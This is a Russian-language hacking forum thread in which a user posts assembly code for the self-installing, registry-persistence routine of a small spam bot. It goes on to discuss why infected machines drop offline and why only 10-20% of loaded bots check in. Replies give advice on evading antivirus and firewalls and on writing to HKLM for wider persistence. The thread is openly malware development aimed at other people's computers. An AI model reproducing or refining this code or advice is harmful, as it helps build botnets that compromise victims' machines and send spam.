Минимализм до идиотизма или спам бот в 5,5 килобайт

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by slesh, 8 Sep 2008.

  1. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Спам бот в 5,5 килобайт

    Может ктонить пробовал написать меньше? У мну получилось, но баги в том, что почемуто бот кудато уходит постоянно и после перезагрузки компа не возвращается.
    код установки бота
    Code:
    proc install
     invoke _SHGetSpecialFolderPath,0,ValueName,0015h,0
     invoke _lstrcat,ValueName,my_sys_name
     mov eax,[fs:18h]   ; GetModuleHandle
     mov eax,[eax+30h]
     mov eax,[eax+8h]
     invoke _GetModuleFileName,eax, Value, 256
     invoke _CopyFile,Value,ValueName,0
    
     invoke _RegOpenKeyEx,$80000001, n_IKEY, 0, $F003F, key
     test eax,eax
     jne _i_exit
     stdcall _lstrlen,ValueName
     invoke _RegSetValueEx,[key], my_sys_name+1, 0, 1, ValueName, eax
     invoke _RegCloseKey,[key]
    _i_exit:
     ret
    endp
    
    
     
    #1 slesh, 8 Sep 2008
    Last edited: 8 Sep 2008
    2 people like this.
  2. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    т.е. уход сопровождается тем, что со временем бот уходит. - это связано тока с тем что компы уходят в офлайн, но странно почеу обратно не возвращаются :(
    т.е. мало возврашаются. А также при отгрузке 1к ботов почемуто на отстук выходит 10-20%. при том что тоже самое наблюдалось и в его предке написанном на Delphi
     
  3. razzzar

    razzzar Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    92
    Likes Received:
    75
    Reputations:
    5
    Ну а что ж ты хотел...
    Про уходят: это беда всех ботов впринципе. Не всем же жить бесконечно. Аверы не бездействуют. Юзеры тоже могут обнаружить что-то странное.
    Про отстук: во-первых, обход фаерволов. во-вторых: совместимость с разными виндами. думаю подробнее обяснять не надо )
     
    1 person likes this.
  4. bons

    bons Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    286
    Likes Received:
    121
    Reputations:
    21
    похоже ты ставишь автозапуск для текущего пользователя (если это код автозапуска тут приведен). То есть если зайти под другим пользователем программа запущена не будет. Также неплохо бы выполнить проверку доступных прав при установке - если есть права админа то писать в Hkey_local_machine.
    И почему все константы записаны цифрами, это очень неудобно.
     
  5. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    в моём случае это наоборот удобно. даже очень удобно.